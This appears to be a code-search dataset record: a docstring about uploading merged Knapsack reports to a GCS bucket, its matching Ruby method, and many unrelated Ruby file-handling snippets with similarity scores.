"def relocate(test_case)\r\n # temp_fix_for_ascii(test_case)\r\n file_name = String(test_case[0][:materials][0]) + \"_\" + String(test_case[0][:lengths][0]) + \"cm*\"\r\n path_original = \"./\" + file_name\r\n path_final = @result_dir + String(test_case[0][:materials][0]) + \"/\" + String(test_case[0][:lengths][0])\r\n relocate_cmd = \"find ./ -name '\" + file_name + \"' -exec mv '{}' '\" + path_final + \"/' ';'\"\r\n make_dir(path_final)\r\n system(relocate_cmd)\r\n # if Dir.exists? @output_dir\r\n # puts \"original path: #{path_original}\"\r\n # if File.exists? path_original\r\n # end\r\n # end\r\nend",
"def post_conversion(original, tmp_output)\n # puts \"==== POST ====\"\n dirname = File.dirname(original)\n basename = File.basename(original, File.extname(original))\n real_output = File.join(dirname, basename + '.pdf')\n FileUtils.mv(tmp_output, real_output)\n # puts \"Copied #{tmp_output} to #{real_output}\"\n\n FileUtils.rm(tmp_filepath(original))\n # puts \"Deleted #{tmp_filepath(original)}\"\n end",
"def update_file_path\n if self.season_changed? || self.year_changed?\n old_url_part = \"#{SEASON_PATH_NAMES.rassoc(self.season_was).first}-#{self.year_was}\"\n course_ids = self.assignments.pluck(:course_id).uniq\n \n course_ids.each do |course_id|\n course = Course.find(course_id)\n old_path = File.join(course.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = File.join(course.storage_path, self.url_part)\n \n FileUtils.mv old_path, new_path\n end\n end\n end\n end",
"def rename_poster\n self.poster.instance_write :file_name, \"#{Time.now.to_i.to_s}.png\"\n end",
"def write_report(data, subfolder, category)\n puts \"writing reports for #{category}\"\n count = 0\n Dir.chdir(\"Reports\")\n \n # Creates the subfolders if they don't already exist\n if !(Dir.entries(Dir.pwd).include?(subfolder)) then Dir.mkdir(subfolder) end\n Dir.chdir(subfolder)\n if !(Dir.entries(Dir.pwd).include?(category)) then Dir.mkdir(category) end\n Dir.chdir(category)\n \n data.each do |d,n|\n f = File.new((\"#{n}.csv\" or \"#{count += 1}.csv\"),\"w\")\n f.write d\n f.close\n end\n \n Dir.chdir(\"../../..\")\n end",
"def export_xml_file\n @destination_file_name = export_directory + '/' + new_file_name.to_s + '.xml'\n\n FileUtils.mkdir_p export_directory\n FileUtils.copy_file(source_data, destination_file_name)\n new_file_name\n end",
"def generate_unique_filename\n name = options[:file_name] || wrapper.name\n # TODO: Sanitize the file name\n\n filename = \"#{name}.swatches\"\n\n related_files = related_file_indexes(filename)\n\n filename = if related_files.present?\n \"#{name}-#{related_files.max + 1}#{SWATCHES_EXTENSION}\"\n else\n \"#{name}#{SWATCHES_EXTENSION}\"\n end\n\n @swatches_path = File.join(options[:export_directory], filename)\n end",
"def rename_image image\n begin\n File.rename(\"#{@location}/#{image.image_file_name}\", \"#{@location}/#{@bat.index_batch_number}#{image.image_file_name}\")\n image.image_file_name = \"#{@bat.index_batch_number}#{image.image_file_name}\"\n temp_path = \"#{@image_path}/#{image.image_file_name}\"\n rescue\n InputBatch::Log.error_log.error \">>>>>>>>>>>>>>>> Error while renaming image, Probably due to file name or directory mismatch <<<<<<<<<<<<<<\"\n puts \">>>>>>>>>>>>>>>> Error while renaming image, Probably due to file name or directory mismatch <<<<<<<<<<<<<<\"\n end\n end",
"def generate_name(type)\n if @action == 'initial_run'\n FileUtils.mkdir_p(\"#{@csv_dir}/initial/\") unless Dir.exists? \"#{@csv_dir}/initial/\"\n \"#{@csv_dir}/initial/#{type}_export.csv\"\n else\n today = lambda { Date.today.to_s }\n dir = \"#{@csv_dir}/update/#{today.call}\"\n FileUtils.mkdir_p(dir) unless Dir.exists? dir\n \"#{dir}/#{type}_export.csv\"\n end\n end",
"def rename_file\n true\n end",
"def rename( to ) File.rename( expand_tilde, to ) end",
"def to_actual_filename!\n filename = to_actual_filename\n replace(filename) if filename\n end",
"def get_name(path_name)\n resume_file_name = path_name.downcase.split('/').last\n # Replace 'resume' with whatever comes after the name in that folder\n end_index = resume_file_name.index('resume')\n # This is for the nonanalytics folder\n # first_index = resume_file_name.index(\"_\")\n # end_index = resume_file_name.index('_', first_index + 1)\n name = resume_file_name[0, end_index - 1]\n return name\nend",
"def reports_path; end",
"def reports_path; end",
"def move_package(name, new_dir)\n Autoproj.workspace.manifest.move_package(name, new_dir)\nend",
"def newpath\n return path(newname)\n end",
"def new_path\n if conf[:options][:dest].nil? or conf[:options][:dest].empty?\n File.join(@dir_path, @new_name)\n else\n File.join(conf[:options][:dest], @new_name)\n end\n end",
"def opx_file_backup()\n File.rename(TABULATOR_DATA_FILE, TABULATOR_BACKUP_FILE)\n rescue => e\n opx_err(\"Fatal failure of File.rename from #{TABULATOR_DATA_FILE} \" +\n \"to #{TABULATOR_BACKUP_FILE}\", e)\n end",
"def titleize\n @collection.dictionary.each do |id, data|\n next unless File.basename(data['id']) =~ /^untitled/\n new_name = Ruhoh::StringFormat.clean_slug(data['title'])\n new_file = \"#{new_name}#{File.extname(data['id'])}\"\n old_file = File.basename(data['id'])\n next if old_file == new_file\n\n FileUtils.cd(File.dirname(data['pointer']['realpath'])) {\n FileUtils.mv(old_file, new_file)\n }\n Ruhoh::Friend.say { green \"Renamed #{old_file} to: #{new_file}\" }\n end\n end",
"def execute()\r\n FileUtils.mv(@OldFilePath, @NewFilePath)\r\n end",
"def rename_file(old_filename,new_filename)\n begin\n File.rename(old_filename,new_filename)\n rescue Exception => e\n puts e.message\n end\n end",
"def rename(file, destination)\n\t\tlogin_filter\n\t\tfile = namespace_path(file)\n\t\tdestination = namespace_path(destination)\n\t\t@agent.post(\"/cmd/rename#{file}\", {\"to_path\"=> destination, \"t\" => @token }).code == \"200\"\n\tend",
"def create_rep_heading\n\tsave_file(print_date)\n\tsave_file(print_sales_rpt)\nend",
"def rename(from_path, to_path)\n ::File.rename(abspath(from_path), abspath(to_path))\n entry_path(to_path)\n end",
"def bench_cases_fix_names(dir_name = 'aligned')\n files = Dir.glob(\"6.823/lab3/data/#{dir_name}/*\")\n \n files.each_with_index do |file, i|\n ['.out', '.o'].each do |suffix|\n len = suffix.length\n next unless file[-len, len] == suffix\n File.rename file, file[0...-len] + '.txt'\n files[i] = file[0...-len]\n end\n end \nend",
"def name\n rename_workspace(params[:workspace_object], params)\n\n head :ok\n end",
"def rename(new_name, update_all_tracks)\n @ole.Rename(new_name, update_all_tracks)\n end",
"def rename_given_file\n PS2.rename(@filename, @options)\n end",
"def export_file_name(extension)\n \"CompSage Report on #{@survey.job_title.gsub(/[\\\\\\/:\\*\\?\"<>\\|]/,' ')}.#{extension}\"\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def rename!(name)\n @name = name\n @path = make_path\n end",
"def report_file\n File.join(@report_dir, \"#{@id}.json\")\n end",
"def make_file_name(proposal, type='paltrack')\n @filename = \"sales_export_#{Time.now.strftime('%Y%m%d%H%M%S')}.csv\"\n end",
"def rewrite_resources\n replacements = {}\n self.file_mapper.new_names.values.each do |record|\n replacements[record.old_name] = record.name\n end\n self.file_mapper.new_names.values.each do |record|\n record.resave(replacements)\n end\n end",
"def name_for_path(filepath)\n filepath.delete_prefix(\"#{DASHBOARD_ROOT}/\")\n end",
"def fastlane_export(file_path)\n file_name = file_path.split(\"/\").last\n export_path = \"#{EXPORT_DIRECTORY}/#{file_name}\"\n FileUtils.rm_f(export_path)\n FileUtils.mv(file_path, export_path)\n end",
"def write_report_file\n raise FileNotFoundException.new 'There is no report file path specified' if report_path.blank?\n\n report = build_report\n\n if append_report.present? && File.exist?(report_path)\n f = File.open(report_path)\n existing_xml = Nokogiri::XML(f)\n f.close\n\n report = existing_xml.root << Nokogiri::XML(report).at('testsuite')\n\n # formatting\n report = format_xml report.to_xml\n end\n\n File.write report_path, report\n report\n end",
"def rename_files\n source_dir = Item.new(Path.new(params[:source_dir]))\n format = params[:string_format]\n \n response = {}\n if source_dir.rename_files(format: format)\n render json: response, status: 200\n else\n render json: response, status: 422\n end\n end",
"def toImgDir\n @imgDir = UploadUtils.monthDir( Rails.configuration.img_dir, Rails.configuration.original_dir )\n path = File.join( @imgDir, @original )\n res = UploadUtils.filename( path )\n @imgPath = res['path']\n FileUtils.cp( @uploadPath, @imgPath )\n return report\n end",
"def rename_file\n return unless @old_filename && @old_filename != full_filename\n if save_attachment? && File.exists?(@old_filename)\n FileUtils.rm @old_filename\n elsif File.exists?(@old_filename)\n FileUtils.mv @old_filename, full_filename\n end\n @old_filename = nil\n true\n end",
"def undo()\r\n File.rename(@NewFileName, @OldFileName)\r\n end",
"def fileMoveOldXlsx()\n oldXlsx()\n downloadDir = '~/Downloads'\n Dir.chdir(File.expand_path(downloadDir))\n puts \"Checking Downloads Directory for .xlsx files to clean before initiating Fixit...\"\n Dir.glob(\"*.xlsx\") {|file|\n if file\n puts \"Storing file name '#{file}' with .xlsx extension into OLD_XLSX_DATA on Desktop...\"\n temp_data_path = '~/Desktop/OLD_XLSX_DATA'\n FileUtils.mv(\"#{file}\", File.expand_path(temp_data_path))\n else\n puts \"No .xlsx files found in ~/Downloads...\"\n end\n }\nend",
"def undo()\r\n #need to manipulate strings by taking file name off of OldFilePath and adding it onto NewFilePath\r\n oldname = @OldFilePath.basename\r\n @NewFilePath = \"#{@NewFilePath}/#{oldname}\"\r\n origfolder = @OldFilePath.dirname\r\n @OldFilePath = origfolder\r\n\r\n FileUtils.mv(@NewFilePath, @OldFilePath)\r\n end",
"def mv(file)\n abort \"#{file} does not exist\" unless File.exist? file\n\n timestamp = Time.now.strftime(\"%F %H.%M.%S\")\n new_file = \"Screenshot #{timestamp}.#{File.extname(file).slice(1..-1)}\"\n new_path = File.join(destination_directory, new_file)\n new_dir = File.dirname(new_path)\n\n FileUtils.mkdir_p(new_dir) or abort \"Couldn't create #{new_dir}\"\n FileUtils.mv(file, new_path) or abort \"Coudln't move #{file} to #{new_path}\"\n\n new_path\n end",
"def rename_by_id(target_dir)\n\tcurrent_dir\n\ttarget_dir = \"#{@mods_dir}/#{target_dir}\"\n\tDir.glob(\"#{target_dir}/*.xml\") do |xmlfile|\n\t\tputs \"Going through #{xmlfile}\"\n\n\t\tampid = File.basename(xmlfile,\"_mods.xml\")\n\t\t\n\t\trexmlfile = File.new(xmlfile)\n\t\txmldoc = Document.new(rexmlfile)\n\n\t\troot = xmldoc.root\n\n\t\tidval = []\n\n\t\txmldoc.elements.each(\"mods/identifier\") { |e| idval = e.text }\n\n\t\trexmlfile.close\n\n\t\tFile.rename(\"#{xmlfile}\", \"#{target_dir}/#{idval}_#{ampid}_mods.xml\")\n\t\tputs xmlfile + \"renamed to #{idval}_#{ampid}_mods.xml\"\n\t\t\n\tend\nend",
"def get_name(name)\n name+\"_#{get_time_stamp}.xlsx\"\n end",
"def move_package(package_name, new_dir)\n moved_packages[package_name] = File.join(new_dir, File.basename(package_name))\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\" \n return response(url)\n end",
"def description()\r\n #out puts what the command is doing and the path it is taking to do it\r\n puts \"Renaming #{@OldFileName} file to: #{@NewFileName}\"\r\n end",
"def create_report\n report_path = \"/tmp/metasploit_#{@workspace_name}.xml\"\n\n # Create the report using the db_export command\n _send_command(\"db_export #{report_path}\\n\")\n\n # We've sent the command, so let's sit back and wait for th\n # output to hit the disk.\n begin\n xml_string = \"\"\n status = Timeout::timeout(240) {\n # We don't know when the file is going to show up, so \n # wait for it...\n until File.exists? report_path do\n sleep 1\n end\n\n # Read and clean up the file when it exists...\n until xml_string.include? \"</MetasploitV4>\" do\n sleep 5\n xml_string = File.read(report_path)\n end\n \n File.delete(report_path)\n }\n rescue Timeout::Error\n xml_string = \"<MetasploitV4></MetasploitV4>\"\n end\n\n xml_string\n end",
"def write_report!\n notify.critical_error(\"Must run `test!` before writing a report\") if test.status.nil?\n in_test_dir do\n self.writer = GitTest::Writer.new(:path => report_path,\n :name => report_name,\n :report => test.report )\n in_report_branch do\n writer.save!\n commit_to_test_proj!\n end\n end\n end",
"def makeNewFilename\n # note use of hard coded 6 digit counter width - is this enough files?\n pad = \"0\" * (6 - @count.to_s.length) + count.to_s\n newbase = @baseFilename.sub(/(\\.\\w*)$/, pad + '\\1')\n @filename = File.join(File.dirname(@filename), newbase)\n Logger.log_internal {\"File #{@filename} created\"}\n end",
"def reconstruct_xml_results\n ReportLog.entering(@@class_name, __method__.to_s)\n Dir.mkdir @output_xml_dir unless Dir.exist? @output_xml_dir\n get_test_xml_files.each do |xml_path|\n xml_input_file = File.new(xml_path)\n ReportLog.info(\"Writing additional info (test suite owner and RTC defect etc.) into new test result XML file in directory #{@output_xml_dir}...\")\n # using File.open block pattern to ensure the file is closed afterwards\n File.open(@output_xml_dir + '/' + File.basename(xml_path), 'w') do |xml_output_file|\n write_to_xml(xml_input_file, xml_output_file)\n end\n end\n ReportLog.exiting(@@class_name, __method__.to_s)\n end",
"def execute\n if(File.exist?(@filepath) and @hasExecuted == false)\n File.rename(@filepath, @newName)\n @hasExecuted=true\n end\n end",
"def dest_pdf\n @zip_path[0..-5] << '.pdf'\n end",
"def dest_path(num, path, se_name = \"empty\")\n des = \"/stornext/snfs#{num}/next-gen/solid/results\"\n if !File.directory?(des)\n remove_lock(se_name)\n Helpers::log(\"snfs#{num} does not exist. exiting..\", 1)\n end\n dirs = @ses.path_parse(path)\n se = Sequence_event.new(@ses.run_name_from_path(path))\n des = des + \"/#{dirs.mach}/#{se.year}/#{se.month}\" +\n \"/#{dirs.rname}/#{dirs.sample}\"\n if (/csfasta/.match(path) || /qual/.match(path)) && /BC/.match(path)\n return des + \"/#{dirs.bc}\"\n end\n des\n end"
] |
[
"0.6160137",
"0.6125244",
"0.6013985",
"0.58310205",
"0.58233744",
"0.57581466",
"0.57088715",
"0.56791013",
"0.5672969",
"0.56674683",
"0.56530285",
"0.56306183",
"0.5624512",
"0.55690086",
"0.5519024",
"0.5510288",
"0.5503708",
"0.5496041",
"0.5495401",
"0.54946774",
"0.5488861",
"0.5487044",
"0.547249",
"0.5459442",
"0.54208004",
"0.53801674",
"0.53801674",
"0.53796583",
"0.5376021",
"0.53687024",
"0.5361711",
"0.53045124",
"0.52914745",
"0.5285235",
"0.5281647",
"0.5279228",
"0.5271408",
"0.5271408",
"0.52649033",
"0.52551675",
"0.5255098",
"0.5251134",
"0.5250275",
"0.52306235",
"0.5218304",
"0.52147543",
"0.5199559",
"0.51884305",
"0.5177474",
"0.51770705",
"0.51609564",
"0.5143707",
"0.51379657",
"0.5118474",
"0.510998",
"0.51044285",
"0.5099589",
"0.5099589",
"0.50889635",
"0.5083916",
"0.5076027",
"0.50742906",
"0.5068766",
"0.5061311",
"0.50551987",
"0.5047508",
"0.50463533",
"0.5046324",
"0.5039456",
"0.50318706",
"0.50299215",
"0.5025478",
"0.50177246",
"0.50088364",
"0.5001909",
"0.49970084",
"0.49931166",
"0.49853623",
"0.49764326",
"0.49695635",
"0.49680498",
"0.49632606",
"0.49512243",
"0.49435353",
"0.4936809",
"0.493408",
"0.49326915",
"0.4932456",
"0.49313298",
"0.49305335",
"0.49217543",
"0.4913826",
"0.49130893",
"0.49123228",
"0.49119356",
"0.49046645",
"0.4893445",
"0.48926365",
"0.48924166",
"0.488959"
] |
0.70011115
|
0
|
Merge and upload knapsack report to gcs bucket Fetches all files defined in glob and uses parent folder as report name
|
def upload_report(glob)
reports = Pathname.glob(glob).each_with_object(Hash.new { |hsh, key| hsh[key] = [] }) do |report, hash|
next unless report.extname == ".json"
hash[report.parent.basename.to_s].push(report)
end
return logger.error("Glob '#{glob}' did not contain any valid report files!") if reports.empty?
reports.each do |name, jsons|
file = "#{name}.json"
report = jsons
.map { |json| JSON.parse(File.read(json)) }
.reduce({}, :merge)
.sort_by { |k, v| v } # sort report by execution time
.to_h
next logger.warn("Knapsack generated empty report for '#{name}', skipping upload!") if report.empty?
logger.info("Uploading latest knapsack report '#{file}'")
client.put_object(BUCKET, file, JSON.pretty_generate(report))
rescue StandardError => e
logger.error("Failed to upload knapsack report for '#{name}'. Error: #{e}")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def place_files_in_buckets\n @files.each do |file|\n place_file_in_buckets(file)\n end\n end",
"def process_workspace_bucket_files(files)\n # first mark any files that we already know are study files that haven't changed (can tell by generation tag)\n files_to_remove = []\n files.each do |file|\n # first, check if file is in a submission directory, and if so mark it for removal from list of files to sync\n if @submission_ids.include?(file.name.split('/').first) || file.name.end_with?('/')\n files_to_remove << file.generation\n else\n directory_name = DirectoryListing.get_folder_name(file.name)\n found_file = {'name' => file.name, 'size' => file.size, 'generation' => file.generation}\n # don't add directories to files_by_dir\n unless file.name.end_with?('/')\n # add to list of discovered files\n @files_by_dir[directory_name] ||= []\n @files_by_dir[directory_name] << found_file\n end\n found_study_file = @study_files.detect {|f| f.generation.to_i == file.generation }\n if found_study_file\n @synced_study_files << found_study_file\n files_to_remove << file.generation\n end\n end\n end\n\n # remove files from list to process\n files.delete_if {|f| files_to_remove.include?(f.generation)}\n\n # next update map of existing files to determine what can be grouped together in a directory listing\n @file_extension_map = DirectoryListing.create_extension_map(files, @file_extension_map)\n\n files.each do |file|\n # check first if file type is in file map in a group larger than 10 (or 20 for text files)\n file_extension = DirectoryListing.file_extension(file.name)\n directory_name = DirectoryListing.get_folder_name(file.name)\n max_size = file_extension == 'txt' ? 20 : 10\n if @file_extension_map.has_key?(directory_name) && !@file_extension_map[directory_name][file_extension].nil? && @file_extension_map[directory_name][file_extension] >= max_size\n process_directory_listing_file(file, file_extension)\n else\n # we are now dealing with singleton files or fastqs, so process accordingly (making sure to ignore directories)\n if DirectoryListing::PRIMARY_DATA_TYPES.any? {|ext| file_extension.include?(ext)} && !file.name.end_with?('/')\n # process fastq file into appropriate directory listing\n process_directory_listing_file(file, 'fastq')\n else\n # make sure file is not actually a folder by checking its size\n if file.size > 0\n # create a new entry\n unsynced_file = StudyFile.new(study_id: @study.id, name: file.name, upload_file_name: file.name, upload_content_type: file.content_type, upload_file_size: file.size, generation: file.generation, remote_location: file.name)\n @unsynced_files << unsynced_file\n end\n end\n end\n end\n end",
"def fitFiles(target)\n buckets()\n runningSize = 0\n fileSet = FileSet.new(target, @log, @DEBUG, @LOG_DEBUG)\n \n # Go thru each bucket...\n @sortedBuckets.each do |bkt|\n Utils.printMux(@log, \"Processing bucket '#{bkt}'\")\n\n # ... And each file in the bucket\n @data[bkt].each do |file| \n Utils.printMux(@log, \"\\tProcessing file '#{file}'\")\n\n # The regular call to size won't work with larger (> 2 GB) files in some versions of Ruby, so call the custom version added above.\n fsize = File.size_big(file)\n\n Utils.printMux(@log, \"\\t\\t fsize: #{fsize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"\\t\\trunningSize: #{runningSize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"\\t\\t target: #{target}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n\n\t\t\t # Sanity check the file size\n if (fsize < 0)\n Utils.printMux(@log, \"\\t\\t*** WARNING: fsize < 0 - skipping!\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n next\n end\n\n # Make sure this file won't push us over the limit\n if (fsize + runningSize) < target\n # take the first file in this bucket \n Utils.printMux(@log, \"\\t\\tAdding '#{file}' and removing from bucket\")\n fileSet.add(file, fsize)\n runningSize += fsize\n \n # Remove the file from the original list\n @data[bkt].delete(file)\n \n # See if we should remove the bucket, too\n if @data[bkt].size() == 0\n @data.delete(bkt)\n Utils.printMux(@log, \"Removed bucket '#{bkt}'\\n\")\n end\n else\n # Go to the next bucket and look at smaller files\n Utils.printMux(@log, \"\\t\\tDropping down to next bucket\\n\")\n break\n end\n\n # Give the CPU a bit of a break in between files\n sleep @sleepInterval\n end # iterate files\n\n # Give the CPU a bit of a break in between buckets\n sleep @sleepInterval\n end # iterate buckets\n \n # Save off the running size in the object\n @totalSize = runningSize\n \n # Save off the file set\n @fileSets << fileSet\n\n Utils.printMux(@log, \"totalSize: #{totalSize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"fileSets:\\n\" + @fileSets.pretty_inspect(), @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n\n return fileSet\n end",
"def upload_latest_copy\n upload_to_s3(report_files, prefix)\n end",
"def globalReport(psdFiles, base)\n psdFiles.each do |psdFile|\n name = File.basename(psdFile, \".psd\")\n PSD.open(psdFile) do |psd|\n content = psd.tree.to_hash\n jsonContent = JSON.pretty_generate(content)\n file = File.join(base, \"#{name}.json\")\n File.open(file, \"w\") { |f| f.write(jsonContent) }\n puts \"[create] #{file}\"\n end\n end\nend",
"def folder_asset_ingest(args = { })\n parameters = api_method_parameters(__method__)\n _args = process_parameters(parameters, args.dup)\n\n folder_to_ingest = _args.delete(:folder_to_ingest) { }\n\n raise ArgumentError, ':folder_to_ingest is a required argument.' unless folder_to_ingest\n\n folder_to_ingest = File.join(folder_to_ingest, '*') if File.directory?(folder_to_ingest)\n\n file_paths = Dir.glob(folder_to_ingest)\n\n file_paths.map { |file_path| asset_ingest_any( _args.merge( :file_to_ingest => file_path ) ) }\n end",
"def git_upload_pack\n enqueue_fetch_statistics_update\n\n render_ok\n end",
"def move_regenerated_report\n return unless ENV[\"KNAPSACK_GENERATE_REPORT\"] == \"true\"\n\n tmp_path = \"tmp/knapsack/#{report_name}\"\n FileUtils.mkdir_p(tmp_path)\n\n # Use path from knapsack config in case of fallback to master_report.json\n knapsack_report_path = Knapsack.report.report_path\n logger.debug(\"Moving regenerated #{knapsack_report_path} to save as artifact\")\n FileUtils.cp(knapsack_report_path, \"#{tmp_path}/#{ENV['CI_NODE_INDEX']}.json\")\n end",
"def upload(ci_project_name)\n return puts \"\\nNothing to upload!\" if files.empty?\n\n files.each do |file|\n file_name = \"#{ci_project_name}/#{file.split('/').last}\"\n Runtime::Logger.info(\"Uploading #{file_name}...\")\n gcs_storage.put_object(BUCKET, file_name, File.read(file))\n end\n\n puts \"\\nDone\"\n end",
"def download_report\n logger.debug(\"Downloading latest knapsack report for '#{report_name}' to '#{report_path}'\")\n file = client.get_object(BUCKET, report_file)\n File.write(report_path, file[:body])\n rescue StandardError => e\n ENV[\"KNAPSACK_REPORT_PATH\"] = FALLBACK_REPORT\n logger.warn(\"Failed to fetch latest knapsack report: #{e}\")\n logger.warn(\"Falling back to '#{FALLBACK_REPORT}'\")\n end",
"def download(ci_project_name)\n bucket_items = gcs_storage.list_objects(BUCKET, prefix: ci_project_name).items\n\n files_list = bucket_items&.each_with_object([]) do |obj, arr|\n arr << obj.name\n end\n\n return puts \"\\nNothing to download!\" if files_list.blank?\n\n FileUtils.mkdir_p('tmp/')\n\n files_list.each do |file_name|\n local_path = \"tmp/#{file_name.split('/').last}\"\n Runtime::Logger.info(\"Downloading #{file_name} to #{local_path}\")\n file = gcs_storage.get_object(BUCKET, file_name)\n File.write(local_path, file[:body])\n\n Runtime::Logger.info(\"Deleting #{file_name} from bucket\")\n gcs_storage.delete_object(BUCKET, file_name)\n end\n\n puts \"\\nDone\"\n end",
"def make_json_limit_task(channel)\n samples_map = Hash['mmt' => 'data_DoubleMu', \n 'eet' => 'data_DoubleElectron', \n 'emt' => 'data_MuEG',\n 'llt' => 'data_DoubleMu',\n ]\n carddir = $carddir #makes a copy so that if $cardir changes this does not\n json_stamp = \"#{$carddir}/#{channel}/.limit_harvested\"\n file json_stamp => \"#{$carddir}/#{channel}/.limits_computed\" do |t|\n sh \"harvest_limits.py #{carddir}/#{channel}\"\n sh \"touch #{t.name}\"\n sh \"add_tag_to_json.py #{carddir}/#{channel}/*.json -l jobid -t #{$jobid}\"\n sh \"add_tag_to_json.py #{carddir}/#{channel}/*.json -l lumi -t #{get_lumi(samples_map[channel], $jobid)}\"\n end\n return json_stamp\nend",
"def group_files file_data, output_path, options = {:prefix => \"L\", :suffix => \".fastq.gz\", :exclude_undetermined => true}\n\t\t\t\t# alternatively inherit the parent class and call super???? \n\t\t\t\t# super \n\t\t\t\t# \t\n groups = {}\n file_data.each do |data|\n if data[:barcode] == \"Undetermined\" and options[:exclude_undetermined]\n log \"# Undetermined sample lane: #{data[:lane]} - name: #{data[:sample_name]}. Skipping\"\n next\n end\n \n group_key = name_for_data data, options\n \n if groups.include? group_key\n if groups[group_key][:sample_name] != data[:sample_name]\n raise \"ERROR: sample names not matching #{group_key} - #{data[:path]}:#{data[:sample_name]}vs#{groups[group_key][:sample_name]}\"\n end\n if groups[group_key][:lane] != data[:lane]\n raise \"ERROR: lanes not matching #{group_key} - #{data[:path]}\"\n end\n groups[group_key][:files] << data\n else\n group_path = File.join(output_path, group_key)\n groups[group_key] = {:group_name => group_key,\n :path => group_path,\n :sample_name => data[:sample_name],\n :read => data[:read],\n :lane => data[:lane],\n :files => [data]\n }\n end\n end\n \n # sort based on read set\n groups.each do |key, group|\n group[:files] = group[:files].sort {|x,y| x[:set] <=> y[:set]}\n group[:paths] = group[:files].collect {|data| data[:path]}\n end\n groups.values\n end",
"def generate_json_files\n # if no job is served, generate all\n filter do |project, group, job|\n job.generate_json_file\n end\n end",
"def generateCVSToStatisticAnalysisAggregatedSample(projectName, localClone, pathInput, pathOutput)\n\t #Dir.chdir localClone\n\t\tprefixProjectName = formatProjectName(projectName)\n\t\tprojectsList = []\n\t\t#projectName = \"netguru\"\n\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_AllVariables.csv\", \"r\") do |text|\n\t\t\t#indexLine = 0\n\t\t\ttext.gets #ler o cabeçalho\n\t\t\ttext.each_line do |line|\n\t\t\t\tlista = line.split(\",\")\n\n\t\t\t\tmergeCommitID = lista[0]\n\t\t\t\t#puts \"mergeCommitID = #{mergeCommitID}\"\n\t\t\t\tisConflicting = lista[1]\n\t\t\t\texistsCommonSlice = lista[2]\n\t\t\t\ttotalCommonSlices = lista[3]\n\t\t\t\t#puts \"totalCommonSlices = #{totalCommonSlices}\"\n\t\t\t\tconflictingFilesNumber = lista[4]\n\t\t\t\tconflictsNumber = lista[5]\n\t\t\t\tnumberOfCommitsArithAverage = lista[6]\n\t\t\t\tnumberOfCommitsGeoAverage = lista[7]\n\t\t\t\tnumberOfAuthorsArithAverage = lista[8]\n\t\t\t\tnumberOfAuthorsGeoAverage = lista[9]\n\t\t\t\tdelayIntegrationArithAverage = lista[10]\n\t\t\t\tdelayIntegrationGeoAverage = lista[11]\n\t\t\t\tdeltaIntegration = lista[12]\n\t\t\t\tminimumLifeTimeArithAverage = lista[13]\n\t\t\t\tminimumLifeTimeGeoAverage = lista[14]\n\t\t\t\tnumberOfChangedFilesArithAverage = lista[15]\n\t\t\t\tnumberOfChangedFilesGeoAverage = lista[16]\n\t\t\t\tnumberOfChangedLinesArithAverage = lista[17]\n\t\t\t\tnumberOfChangedLinesGeoAverage = lista[18]\n\t\t\t\tcontributionConclusionDelay = lista[19]\n\t\t\t\texistsCommonPackages = lista[20]\n\t\t\t\ttotalCommonPackages = lista[21]\n\t\t\t\t#puts \"existsCommonPackages = #{existsCommonPackages}\"\n\t\t\t\t#puts \"totalCommonPackages = #{totalCommonPackages}\"\n\n\t\t\t\tmergeCommitID = lista[0].gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\n\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage+\",\"+numberOfChangedFilesArithAverage+\",\"+numberOfChangedFilesGeoAverage+\",\"+numberOfChangedLinesArithAverage+\",\"+numberOfChangedLinesGeoAverage+\",\"+contributionConclusionDelay+\",\"+existsCommonPackages+\",\"+totalCommonPackages\n\t\t\t\tprojectsList.push(dados.gsub(\"\\n\", \"\"))\n\t\t\tend\n\t\tend\n\n\t\t File.open(localClone+pathOutput+\"allProjects_AllVariables.csv\", 'a') do |file|\n\t\t\t if (File.size(localClone+pathOutput+\"allProjects_AllVariables.csv\") == 0)\n\t\t\t\t file.puts \"mergeCommitID,isConflicting,existsCommonSlice,totalCommonSlices,conflictingFilesNumber,conflictsNumber,numberOfCommitsArithAverage,numberOfCommitsGeoAverage,numberOfAuthorsArithAverage,numberOfAuthorsGeoAverage,delayIntegrationArithAverage,delayIntegrationGeoAverage,deltaIntegration,minimumLifeTimeArithAverage,minimumLifeTimeGeoAverage,numberOfChangedFilesArithAverage,numberOfChangedFilesGeoAverage,numberOfChangedLinesArithAverage,numberOfChangedLinesGeoAverage,contributionConclusionDelay,existsCommonPackages,totalCommonPackages\"\n\t\t\t end\n\n\t\t\t projectsList.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\t end\n\n\t\tputs \"end running generateCVSToStatisticAnalysisAggregatedSample from #{prefixProjectName} project\"\n\tend",
